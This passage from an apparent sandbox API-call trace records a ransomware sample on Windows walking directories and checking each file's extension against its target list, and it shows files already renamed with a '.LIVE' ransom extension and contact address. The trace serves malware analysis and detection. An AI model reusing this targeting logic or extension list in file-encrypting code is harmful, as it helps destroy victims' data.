ftLastWriteTime.dwLowDateTime=0x219faf20, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x17a, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini.id-9C354B42.[cryptlive@aol.com].LIVE", cAlternateFileName="DESKTO~1.LIV")) returned 1 [0126.778] lstrlenW (lpString="desktop.ini.id-9C354B42.[cryptlive@aol.com].LIVE") returned 48 [0126.778] lstrlenW (lpString=".1cd") returned 4 [0126.778] lstrcmpiW (lpString1=".1cd", lpString2="LIVE") returned -1 [0126.778] lstrlenW (lpString=".3ds") returned 4 [0126.778] lstrcmpiW (lpString1=".3ds", lpString2="LIVE") returned -1 [0126.778] lstrlenW (lpString=".3fr") returned 4 [0126.778] lstrcmpiW (lpString1=".3fr", lpString2="LIVE") returned -1 [0126.778] lstrlenW (lpString=".3g2") returned 4 [0126.778] lstrcmpiW (lpString1=".3g2", lpString2="LIVE") returned -1 [0126.778] lstrlenW (lpString=".3gp") returned 4 [0126.778] lstrcmpiW (lpString1=".3gp", lpString2="LIVE") returned -1 [0126.778] lstrlenW (lpString=".7z") returned 3 [0126.778] lstrcmpiW (lpString1=".7z", lpString2="IVE") returned -1 [0126.778] lstrlenW (lpString=".accda") returned 6 [0126.778] lstrcmpiW (lpString1=".accda", lpString2="].LIVE") returned -1 [0126.778] lstrlenW (lpString=".accdb") returned 6 [0126.778] lstrcmpiW (lpString1=".accdb", lpString2="].LIVE") returned -1 [0126.778] lstrlenW (lpString=".accdc") returned 6 [0126.778] lstrcmpiW (lpString1=".accdc", lpString2="].LIVE") returned -1 [0126.778] lstrlenW (lpString=".accde") returned 6 [0126.779] lstrcmpiW (lpString1=".accde", lpString2="].LIVE") returned -1 [0126.779] lstrlenW (lpString=".accdt") returned 6 [0126.779] lstrcmpiW (lpString1=".accdt", lpString2="].LIVE") returned -1 [0126.779] lstrlenW (lpString=".accdw") returned 6 [0126.779] lstrcmpiW (lpString1=".accdw", lpString2="].LIVE") returned -1 [0126.779] lstrlenW (lpString=".adb") returned 4 [0126.779] lstrcmpiW (lpString1=".adb", lpString2="LIVE") returned -1 [0126.779] lstrlenW (lpString=".adp") returned 4 [0126.779] lstrcmpiW (lpString1=".adp", lpString2="LIVE") returned -1 [0126.779] lstrlenW (lpString=".ai") returned 3 [0126.779] lstrcmpiW (lpString1=".ai", lpString2="IVE") returned -1 [0126.779] lstrlenW (lpString=".ai3") returned 4 [0126.779] lstrcmpiW (lpString1=".ai3", lpString2="LIVE") returned -1 [0126.779] lstrlenW (lpString=".ai4") returned 4 [0126.779] lstrcmpiW (lpString1=".ai4", lpString2="LIVE") returned -1 [0126.779] lstrlenW (lpString=".ai5") returned 4 [0126.779] lstrcmpiW (lpString1=".ai5", lpString2="LIVE") returned -1 [0126.779] lstrlenW (lpString=".ai6") returned 4 [0126.779] lstrcmpiW (lpString1=".ai6", lpString2="LIVE") returned -1 [0126.779] lstrlenW (lpString=".ai7") returned 4 [0126.779] lstrcmpiW (lpString1=".ai7", lpString2="LIVE") returned -1 [0126.779] lstrlenW (lpString=".ai8") returned 4 [0126.779] lstrcmpiW (lpString1=".ai8", lpString2="LIVE") returned -1 [0126.779] lstrlenW (lpString=".anim") returned 5 [0126.779] lstrcmpiW (lpString1=".anim", lpString2=".LIVE") returned -1 [0126.779] lstrlenW (lpString=".arw") returned 4 [0126.779] lstrcmpiW (lpString1=".arw", lpString2="LIVE") returned -1 [0126.779] lstrlenW (lpString=".as") returned 3 [0126.779] lstrcmpiW (lpString1=".as", lpString2="IVE") returned -1 [0126.779] lstrlenW (lpString=".asa") returned 4 [0126.779] lstrcmpiW (lpString1=".asa", lpString2="LIVE") returned -1 [0126.779] lstrlenW (lpString=".asc") returned 4 [0126.779] lstrcmpiW (lpString1=".asc", lpString2="LIVE") returned -1 [0126.779] lstrlenW (lpString=".ascx") returned 5 [0126.779] lstrcmpiW (lpString1=".ascx", lpString2=".LIVE") returned -1 [0126.779] lstrlenW (lpString=".asm") returned 4 [0126.779] lstrcmpiW (lpString1=".asm", lpString2="LIVE") returned -1 [0126.779] lstrlenW (lpString=".asmx") returned 5 [0126.780] lstrcmpiW (lpString1=".asmx", lpString2=".LIVE") returned -1 [0126.780] lstrlenW (lpString=".asp") returned 4 [0126.780] lstrcmpiW (lpString1=".asp", lpString2="LIVE") returned -1 [0126.780] lstrlenW (lpString=".aspx") returned 5 [0126.780] lstrcmpiW (lpString1=".aspx", lpString2=".LIVE") returned -1 [0126.780] lstrlenW (lpString=".asr") returned 4 [0126.780] lstrcmpiW (lpString1=".asr", lpString2="LIVE") returned -1 [0126.780] lstrlenW (lpString=".asx") returned 4 [0126.780] lstrcmpiW (lpString1=".asx", lpString2="LIVE") returned -1 [0126.780] lstrlenW (lpString=".avi") returned 4 [0126.780] lstrcmpiW (lpString1=".avi", lpString2="LIVE") returned -1 [0126.780] lstrlenW (lpString=".avs") returned 4 [0126.780] lstrcmpiW (lpString1=".avs", lpString2="LIVE") returned -1 [0126.780] lstrlenW (lpString=".backup") returned 7 [0126.780] lstrcmpiW (lpString1=".backup", lpString2="m].LIVE") returned -1 [0126.780] lstrlenW (lpString=".bak") returned 4 [0126.780] lstrcmpiW (lpString1=".bak", lpString2="LIVE") returned -1 [0126.780] lstrlenW (lpString=".bay") returned 4 [0126.780] lstrcmpiW (lpString1=".bay", lpString2="LIVE") returned -1 [0126.780] lstrlenW (lpString=".bd") returned 3 [0126.780] lstrcmpiW (lpString1=".bd", lpString2="IVE") returned -1 [0126.780] lstrlenW (lpString=".bin") returned 4 [0126.780] lstrcmpiW (lpString1=".bin", lpString2="LIVE") returned -1 [0126.780] lstrlenW (lpString=".bmp") returned 4 [0126.780] lstrcmpiW (lpString1=".bmp", lpString2="LIVE") returned -1 [0126.780] lstrlenW (lpString=".bz2") returned 4 [0126.780] lstrcmpiW (lpString1=".bz2", lpString2="LIVE") returned -1 [0126.780] lstrlenW (lpString=".c") returned 2 [0126.780] lstrcmpiW (lpString1=".c", lpString2="VE") returned -1 [0126.780] lstrlenW (lpString=".cdr") returned 4 [0126.780] lstrcmpiW (lpString1=".cdr", lpString2="LIVE") returned -1 [0126.780] lstrlenW (lpString=".cer") returned 4 [0126.780] lstrcmpiW (lpString1=".cer", lpString2="LIVE") returned -1 [0126.780] lstrlenW (lpString=".cf") returned 3 [0126.780] lstrcmpiW (lpString1=".cf", lpString2="IVE") returned -1 [0126.780] lstrlenW (lpString=".cfc") returned 4 [0126.780] lstrcmpiW (lpString1=".cfc", lpString2="LIVE") returned -1 [0126.780] lstrlenW (lpString=".cfm") returned 4 [0126.781] lstrcmpiW (lpString1=".cfm", lpString2="LIVE") returned -1 [0126.781] lstrlenW (lpString=".cfml") returned 5 [0126.781] lstrcmpiW (lpString1=".cfml", lpString2=".LIVE") returned -1 [0126.781] lstrlenW (lpString=".cfu") returned 4 [0126.781] lstrcmpiW (lpString1=".cfu", lpString2="LIVE") returned -1 [0126.781] lstrlenW (lpString=".chm") returned 4 [0126.781] lstrcmpiW (lpString1=".chm", lpString2="LIVE") returned -1 [0126.781] lstrlenW (lpString=".cin") returned 4 [0126.781] lstrcmpiW (lpString1=".cin", lpString2="LIVE") returned -1 [0126.781] lstrlenW (lpString=".class") returned 6 [0126.781] lstrcmpiW (lpString1=".class", lpString2="].LIVE") returned -1 [0126.781] lstrlenW (lpString=".clx") returned 4 [0126.781] lstrcmpiW (lpString1=".clx", lpString2="LIVE") returned -1 [0126.781] lstrlenW (lpString=".config") returned 7 [0126.781] lstrcmpiW (lpString1=".config", lpString2="m].LIVE") returned -1 [0126.781] lstrlenW (lpString=".cpp") returned 4 [0126.781] lstrcmpiW (lpString1=".cpp", lpString2="LIVE") returned -1 [0126.781] lstrlenW (lpString=".cr2") returned 4 [0126.781] lstrcmpiW (lpString1=".cr2", lpString2="LIVE") returned -1 [0126.781] lstrlenW (lpString=".crt") returned 4 [0126.781] lstrcmpiW (lpString1=".crt", lpString2="LIVE") returned -1 [0126.781] lstrlenW (lpString=".crw") returned 4 [0126.781] lstrcmpiW (lpString1=".crw", lpString2="LIVE") returned -1 [0126.781] lstrlenW (lpString=".cs") returned 3 [0126.781] lstrcmpiW (lpString1=".cs", lpString2="IVE") returned -1 [0126.781] lstrlenW (lpString=".css") returned 4 [0126.781] lstrcmpiW (lpString1=".css", lpString2="LIVE") returned -1 [0126.781] lstrlenW (lpString=".csv") returned 4 [0126.781] lstrcmpiW (lpString1=".csv", lpString2="LIVE") returned -1 [0126.781] lstrlenW (lpString=".cub") returned 4 [0126.781] lstrcmpiW (lpString1=".cub", lpString2="LIVE") returned -1 [0126.781] lstrlenW (lpString=".dae") returned 4 [0126.781] lstrcmpiW (lpString1=".dae", lpString2="LIVE") returned -1 [0126.781] lstrlenW (lpString=".dat") returned 4 [0126.781] lstrcmpiW (lpString1=".dat", lpString2="LIVE") returned -1 [0126.781] lstrlenW (lpString=".db") returned 3 [0126.782] lstrcmpiW (lpString1=".db", lpString2="IVE") returned -1 [0126.782] lstrlenW (lpString=".dbf") returned 4 [0126.782] lstrcmpiW (lpString1=".dbf", lpString2="LIVE") returned -1 [0126.782] lstrlenW (lpString=".dbx") returned 4 [0126.782] lstrcmpiW (lpString1=".dbx", lpString2="LIVE") returned -1 [0126.782] lstrlenW (lpString=".dc3") returned 4 [0126.782] lstrcmpiW (lpString1=".dc3", lpString2="LIVE") returned -1 [0126.782] lstrlenW (lpString=".dcm") returned 4 [0126.782] lstrcmpiW (lpString1=".dcm", lpString2="LIVE") returned -1 [0126.782] lstrlenW (lpString=".dcr") returned 4 [0126.782] lstrcmpiW (lpString1=".dcr", lpString2="LIVE") returned -1 [0126.782] lstrlenW (lpString=".der") returned 4 [0126.782] lstrcmpiW (lpString1=".der", lpString2="LIVE") returned -1 [0126.782] lstrlenW (lpString=".dib") returned 4 [0126.782] lstrcmpiW (lpString1=".dib", lpString2="LIVE") returned -1 [0126.782] lstrlenW (lpString=".dic") returned 4 [0126.782] lstrcmpiW (lpString1=".dic", lpString2="LIVE") returned -1 [0126.782] lstrlenW (lpString=".dif") returned 4 [0126.782] lstrcmpiW (lpString1=".dif", lpString2="LIVE") returned -1 [0126.782] lstrlenW (lpString=".divx") returned 5 [0126.782] lstrcmpiW (lpString1=".divx", lpString2=".LIVE") returned -1 [0126.782] lstrlenW (lpString=".djvu") returned 5 [0126.782] lstrcmpiW (lpString1=".djvu", lpString2=".LIVE") returned -1 [0126.782] lstrlenW (lpString=".dng") returned 4 [0126.782] lstrcmpiW (lpString1=".dng", lpString2="LIVE") returned -1 [0126.782] lstrlenW (lpString=".doc") returned 4 [0126.782] lstrcmpiW (lpString1=".doc", lpString2="LIVE") returned -1 [0126.782] lstrlenW (lpString=".docm") returned 5 [0126.782] lstrcmpiW (lpString1=".docm", lpString2=".LIVE") returned -1 [0126.782] lstrlenW (lpString=".docx") returned 5 [0126.782] lstrcmpiW (lpString1=".docx", lpString2=".LIVE") returned -1 [0126.782] lstrlenW (lpString=".dot") returned 4 [0126.782] lstrcmpiW (lpString1=".dot", lpString2="LIVE") returned -1 [0126.782] lstrlenW (lpString=".dotm") returned 5 [0126.782] lstrcmpiW (lpString1=".dotm", lpString2=".LIVE") returned -1 [0126.782] lstrlenW (lpString=".dotx") returned 5 [0126.782] lstrcmpiW (lpString1=".dotx", lpString2=".LIVE") returned -1 [0126.783] lstrlenW (lpString=".dpx") returned 4 [0126.783] lstrcmpiW (lpString1=".dpx", lpString2="LIVE") returned -1 [0126.783] lstrlenW (lpString=".dqy") returned 4 [0126.783] lstrcmpiW (lpString1=".dqy", lpString2="LIVE") returned -1 [0126.783] lstrlenW (lpString=".dsn") returned 4 [0126.783] lstrcmpiW (lpString1=".dsn", lpString2="LIVE") returned -1 [0126.783] lstrlenW (lpString=".dt") returned 3 [0126.783] lstrcmpiW (lpString1=".dt", lpString2="IVE") returned -1 [0126.783] lstrlenW (lpString=".dtd") returned 4 [0126.783] lstrcmpiW (lpString1=".dtd", lpString2="LIVE") returned -1 [0126.783] lstrlenW (lpString=".dwg") returned 4 [0126.783] lstrcmpiW (lpString1=".dwg", lpString2="LIVE") returned -1 [0126.783] lstrlenW (lpString=".dwt") returned 4 [0126.783] lstrcmpiW (lpString1=".dwt", lpString2="LIVE") returned -1 [0126.783] lstrlenW (lpString=".dx") returned 3 [0126.783] lstrcmpiW (lpString1=".dx", lpString2="IVE") returned -1 [0126.783] lstrlenW (lpString=".dxf") returned 4 [0126.783] lstrcmpiW (lpString1=".dxf", lpString2="LIVE") returned -1 [0126.783] lstrlenW (lpString=".edml") returned 5 [0126.783] lstrcmpiW (lpString1=".edml", lpString2=".LIVE") returned -1 [0126.783] lstrlenW (lpString=".efd") returned 4 [0126.783] lstrcmpiW (lpString1=".efd", lpString2="LIVE") returned -1 [0126.783] lstrlenW (lpString=".elf") returned 4 [0126.783] lstrcmpiW (lpString1=".elf", lpString2="LIVE") returned -1 [0126.783] lstrlenW (lpString=".emf") returned 4 [0126.783] lstrcmpiW (lpString1=".emf", lpString2="LIVE") returned -1 [0126.783] lstrlenW (lpString=".emz") returned 4 [0126.783] lstrcmpiW (lpString1=".emz", lpString2="LIVE") returned -1 [0126.783] lstrlenW (lpString=".epf") returned 4 [0126.783] lstrcmpiW (lpString1=".epf", lpString2="LIVE") returned -1 [0126.783] lstrlenW (lpString=".eps") returned 4 [0126.783] lstrcmpiW (lpString1=".eps", lpString2="LIVE") returned -1 [0126.783] lstrlenW (lpString=".epsf") returned 5 [0126.783] lstrcmpiW (lpString1=".epsf", lpString2=".LIVE") returned -1 [0126.783] lstrlenW (lpString=".epsp") returned 5 [0126.783] lstrcmpiW (lpString1=".epsp", lpString2=".LIVE") returned -1 [0126.783] lstrlenW (lpString=".erf") returned 4 [0126.783] lstrcmpiW (lpString1=".erf", lpString2="LIVE") returned -1 [0126.784] lstrlenW (lpString=".exr") returned 4 [0126.784] lstrcmpiW (lpString1=".exr", lpString2="LIVE") returned -1 [0126.784] lstrlenW (lpString=".f4v") returned 4 [0126.784] lstrcmpiW (lpString1=".f4v", lpString2="LIVE") returned -1 [0126.784] lstrlenW (lpString=".fido") returned 5 [0126.784] lstrcmpiW (lpString1=".fido", lpString2=".LIVE") returned -1 [0126.784] lstrlenW (lpString=".flm") returned 4 [0126.784] lstrcmpiW (lpString1=".flm", lpString2="LIVE") returned -1 [0126.784] lstrlenW (lpString=".flv") returned 4 [0126.784] lstrcmpiW (lpString1=".flv", lpString2="LIVE") returned -1 [0126.784] lstrlenW (lpString=".frm") returned 4 [0126.784] lstrcmpiW (lpString1=".frm", lpString2="LIVE") returned -1 [0126.786] FindNextFileW (in: hFindFile=0x8ef768, lpFindFileData=0x364fa84 | out: lpFindFileData=0x364fa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x21b51b80, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x21b51b80, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0126.786] FindNextFileW (in: hFindFile=0x8ef768, lpFindFileData=0x364fa84 | out: lpFindFileData=0x364fa84*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac2e8a60, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x2ebf9340, ftLastAccessTime.dwHighDateTime=0x1d4d597, ftLastWriteTime.dwLowDateTime=0x2ebf9340, ftLastWriteTime.dwHighDateTime=0x1d4d597, nFileSizeHigh=0x0, nFileSizeLow=0x6000, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCD", cAlternateFileName="")) returned 1 [0127.322] FindNextFileW (in: hFindFile=0x8f3730, lpFindFileData=0x364f094 | out: lpFindFileData=0x364f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0127.322] FindNextFileW (in: hFindFile=0x8f3730, lpFindFileData=0x364f094 | out: lpFindFileData=0x364f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="auxpad", cAlternateFileName="")) returned 1 [0127.322] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xfffe) returned 0x4299fc0 [0127.323] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\*", lpFindFileData=0x364ee18 | out: lpFindFileData=0x364ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x8f3770 [0127.323] FindNextFileW (in: hFindFile=0x8f3770, lpFindFileData=0x364ee18 | out: lpFindFileData=0x364ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0127.323] FindNextFileW (in: hFindFile=0x8f3770, lpFindFileData=0x364ee18 | out: lpFindFileData=0x364ee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f2d7bf7, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f2d7bf7, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f2d7bf7, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x59a, dwReserved0=0x0, dwReserved1=0x0, cFileName="auxbase.xml", cAlternateFileName="")) returned 1 [0127.323] FindNextFileW (in: hFindFile=0x8f3770, lpFindFileData=0x364ee18 | out: lpFindFileData=0x364ee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f2d7bf7, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f2d7bf7, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f2d7bf7, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x59a, dwReserved0=0x0, dwReserved1=0x0, cFileName="auxbase.xml", cAlternateFileName="")) returned 0 [0127.323] FindClose (in: hFindFile=0x8f3770 | out: hFindFile=0x8f3770) returned 1 [0127.323] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x4299fc0 | out: hHeap=0x880000) returned 1 [0127.323] FindNextFileW (in: hFindFile=0x8f3730, lpFindFileData=0x364f094 | out: lpFindFileData=0x364f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f2b1a99, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f2b1a99, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f2b1a99, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xd4, dwReserved0=0x0, dwReserved1=0x0, cFileName="auxpad.xml", cAlternateFileName="")) returned 1 [0127.323] lstrlenW (lpString="auxpad.xml") returned 10 [0127.323] lstrlenW (lpString=".1cd") returned 4 [0127.323] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0127.323] lstrlenW (lpString=".3ds") returned 4 [0127.323] lstrcmpiW (lpString1=".3ds", lpString2=".xml") returned -1 [0127.323] lstrlenW (lpString=".3fr") returned 4 [0127.323] lstrcmpiW (lpString1=".3fr", lpString2=".xml") returned -1 [0127.323] lstrlenW (lpString=".3g2") returned 4 [0127.323] lstrcmpiW (lpString1=".3g2", lpString2=".xml") returned -1 [0127.324] lstrlenW (lpString=".3gp") returned 4 [0127.324] lstrcmpiW (lpString1=".3gp", lpString2=".xml") returned -1 [0127.324] lstrlenW (lpString=".7z") returned 3 [0127.324] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0127.324] lstrlenW (lpString=".accda") returned 6 [0127.324] lstrcmpiW (lpString1=".accda", lpString2="ad.xml") returned -1 [0127.324] lstrlenW (lpString=".accdb") returned 6 [0127.324] lstrcmpiW (lpString1=".accdb", lpString2="ad.xml") returned -1 [0127.324] lstrlenW (lpString=".accdc") returned 6 [0127.324] lstrcmpiW (lpString1=".accdc", lpString2="ad.xml") returned -1 [0127.324] lstrlenW (lpString=".accde") returned 6 [0127.324] lstrcmpiW (lpString1=".accde", lpString2="ad.xml") returned -1 [0127.324] lstrlenW (lpString=".accdt") returned 6 [0127.324] lstrcmpiW (lpString1=".accdt", lpString2="ad.xml") returned -1 [0127.324] lstrlenW (lpString=".accdw") returned 6 [0127.324] lstrcmpiW (lpString1=".accdw", lpString2="ad.xml") returned -1 [0127.324] lstrlenW (lpString=".adb") returned 4 [0127.324] lstrcmpiW (lpString1=".adb", lpString2=".xml") returned -1 [0127.324] lstrlenW (lpString=".adp") returned 4 [0127.324] lstrcmpiW (lpString1=".adp", lpString2=".xml") returned -1 [0127.324] lstrlenW (lpString=".ai") returned 3 [0127.324] lstrcmpiW (lpString1=".ai", lpString2="xml") returned -1 [0127.324] lstrlenW (lpString=".ai3") returned 4 [0127.324] lstrcmpiW (lpString1=".ai3", lpString2=".xml") returned -1 [0127.324] lstrlenW (lpString=".ai4") returned 4 [0127.324] lstrcmpiW (lpString1=".ai4", lpString2=".xml") returned -1 [0127.324] lstrlenW (lpString=".ai5") returned 4 [0127.324] lstrcmpiW (lpString1=".ai5", lpString2=".xml") returned -1 [0127.324] lstrlenW (lpString=".ai6") returned 4 [0127.324] lstrcmpiW (lpString1=".ai6", lpString2=".xml") returned -1 [0127.324] lstrlenW (lpString=".ai7") returned 4 [0127.324] lstrcmpiW (lpString1=".ai7", lpString2=".xml") returned -1 [0127.324] lstrlenW (lpString=".ai8") returned 4 [0127.324] lstrcmpiW (lpString1=".ai8", lpString2=".xml") returned -1 [0127.324] lstrlenW (lpString=".anim") returned 5 [0127.324] lstrcmpiW (lpString1=".anim", lpString2="d.xml") returned -1 [0127.324] lstrlenW (lpString=".arw") returned 4 [0127.324] lstrcmpiW (lpString1=".arw", lpString2=".xml") returned -1 [0127.325] lstrlenW (lpString=".as") returned 3 [0127.325] lstrcmpiW (lpString1=".as", lpString2="xml") returned -1 [0127.325] lstrlenW (lpString=".asa") returned 4 [0127.325] lstrcmpiW (lpString1=".asa", lpString2=".xml") returned -1 [0127.325] lstrlenW (lpString=".asc") returned 4 [0127.325] lstrcmpiW (lpString1=".asc", lpString2=".xml") returned -1 [0127.325] lstrlenW (lpString=".ascx") returned 5 [0127.325] lstrcmpiW (lpString1=".ascx", lpString2="d.xml") returned -1 [0127.325] lstrlenW (lpString=".asm") returned 4 [0127.325] lstrcmpiW (lpString1=".asm", lpString2=".xml") returned -1 [0127.325] lstrlenW (lpString=".asmx") returned 5 [0127.325] lstrcmpiW (lpString1=".asmx", lpString2="d.xml") returned -1 [0127.325] lstrlenW (lpString=".asp") returned 4 [0127.325] lstrcmpiW (lpString1=".asp", lpString2=".xml") returned -1 [0127.325] lstrlenW (lpString=".aspx") returned 5 [0127.325] lstrcmpiW (lpString1=".aspx", lpString2="d.xml") returned -1 [0127.325] lstrlenW (lpString=".asr") returned 4 [0127.325] lstrcmpiW (lpString1=".asr", lpString2=".xml") returned -1 [0127.325] lstrlenW (lpString=".asx") returned 4 [0127.325] lstrcmpiW (lpString1=".asx", lpString2=".xml") returned -1 [0127.325] lstrlenW (lpString=".avi") returned 4 [0127.325] lstrcmpiW (lpString1=".avi", lpString2=".xml") returned -1 [0127.325] lstrlenW (lpString=".avs") returned 4 [0127.325] lstrcmpiW (lpString1=".avs", lpString2=".xml") returned -1 [0127.325] lstrlenW (lpString=".backup") returned 7 [0127.325] lstrcmpiW (lpString1=".backup", lpString2="pad.xml") returned -1 [0127.325] lstrlenW (lpString=".bak") returned 4 [0127.325] lstrcmpiW (lpString1=".bak", lpString2=".xml") returned -1 [0127.325] lstrlenW (lpString=".bay") returned 4 [0127.325] lstrcmpiW (lpString1=".bay", lpString2=".xml") returned -1 [0127.325] lstrlenW (lpString=".bd") returned 3 [0127.325] lstrcmpiW (lpString1=".bd", lpString2="xml") returned -1 [0127.325] lstrlenW (lpString=".bin") returned 4 [0127.325] lstrcmpiW (lpString1=".bin", lpString2=".xml") returned -1 [0127.325] lstrlenW (lpString=".bmp") returned 4 [0127.325] lstrcmpiW (lpString1=".bmp", lpString2=".xml") returned -1 [0127.325] lstrlenW (lpString=".bz2") returned 4 [0127.325] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0127.326] lstrlenW (lpString=".c") returned 2 [0127.326] lstrcmpiW (lpString1=".c", lpString2="ml") returned -1 [0127.326] lstrlenW (lpString=".cdr") returned 4 [0127.326] lstrcmpiW (lpString1=".cdr", lpString2=".xml") returned -1 [0127.326] lstrlenW (lpString=".cer") returned 4 [0127.326] lstrcmpiW (lpString1=".cer", lpString2=".xml") returned -1 [0127.326] lstrlenW (lpString=".cf") returned 3 [0127.326] lstrcmpiW (lpString1=".cf", lpString2="xml") returned -1 [0127.326] lstrlenW (lpString=".cfc") returned 4 [0127.326] lstrcmpiW (lpString1=".cfc", lpString2=".xml") returned -1 [0127.326] lstrlenW (lpString=".cfm") returned 4 [0127.326] lstrcmpiW (lpString1=".cfm", lpString2=".xml") returned -1 [0127.326] lstrlenW (lpString=".cfml") returned 5 [0127.326] lstrcmpiW (lpString1=".cfml", lpString2="d.xml") returned -1 [0127.326] lstrlenW (lpString=".cfu") returned 4 [0127.326] lstrcmpiW (lpString1=".cfu", lpString2=".xml") returned -1 [0127.326] lstrlenW (lpString=".chm") returned 4 [0127.326] lstrcmpiW (lpString1=".chm", lpString2=".xml") returned -1 [0127.326] lstrlenW (lpString=".cin") returned 4 [0127.326] lstrcmpiW (lpString1=".cin", lpString2=".xml") returned -1 [0127.326] lstrlenW (lpString=".class") returned 6 [0127.326] lstrcmpiW (lpString1=".class", lpString2="ad.xml") returned -1 [0127.326] lstrlenW (lpString=".clx") returned 4 [0127.326] lstrcmpiW (lpString1=".clx", lpString2=".xml") returned -1 [0127.326] lstrlenW (lpString=".config") returned 7 [0127.326] lstrcmpiW (lpString1=".config", lpString2="pad.xml") returned -1 [0127.326] lstrlenW (lpString=".cpp") returned 4 [0127.326] lstrcmpiW (lpString1=".cpp", lpString2=".xml") returned -1 [0127.326] lstrlenW (lpString=".cr2") returned 4 [0127.326] lstrcmpiW (lpString1=".cr2", lpString2=".xml") returned -1 [0127.326] lstrlenW (lpString=".crt") returned 4 [0127.326] lstrcmpiW (lpString1=".crt", lpString2=".xml") returned -1 [0127.326] lstrlenW (lpString=".crw") returned 4 [0127.326] lstrcmpiW (lpString1=".crw", lpString2=".xml") returned -1 [0127.326] lstrlenW (lpString=".cs") returned 3 [0127.326] lstrcmpiW (lpString1=".cs", lpString2="xml") returned -1 [0127.327] lstrlenW (lpString=".css") returned 4 [0127.327] lstrcmpiW (lpString1=".css", lpString2=".xml") returned -1 [0127.327] lstrlenW (lpString=".csv") returned 4 [0127.327] lstrcmpiW (lpString1=".csv", lpString2=".xml") returned -1 [0127.327] lstrlenW (lpString=".cub") returned 4 [0127.327] lstrcmpiW (lpString1=".cub", lpString2=".xml") returned -1 [0127.327] lstrlenW (lpString=".dae") returned 4 [0127.327] lstrcmpiW (lpString1=".dae", lpString2=".xml") returned -1 [0127.327] lstrlenW (lpString=".dat") returned 4 [0127.327] lstrcmpiW (lpString1=".dat", lpString2=".xml") returned -1 [0127.327] lstrlenW (lpString=".db") returned 3 [0127.327] lstrcmpiW (lpString1=".db", lpString2="xml") returned -1 [0127.327] lstrlenW (lpString=".dbf") returned 4 [0127.327] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0127.327] lstrlenW (lpString=".dbx") returned 4 [0127.327] lstrcmpiW (lpString1=".dbx", lpString2=".xml") returned -1 [0127.327] lstrlenW (lpString=".dc3") returned 4 [0127.327] lstrcmpiW (lpString1=".dc3", lpString2=".xml") returned -1 [0127.327] lstrlenW (lpString=".dcm") returned 4 [0127.327] lstrcmpiW 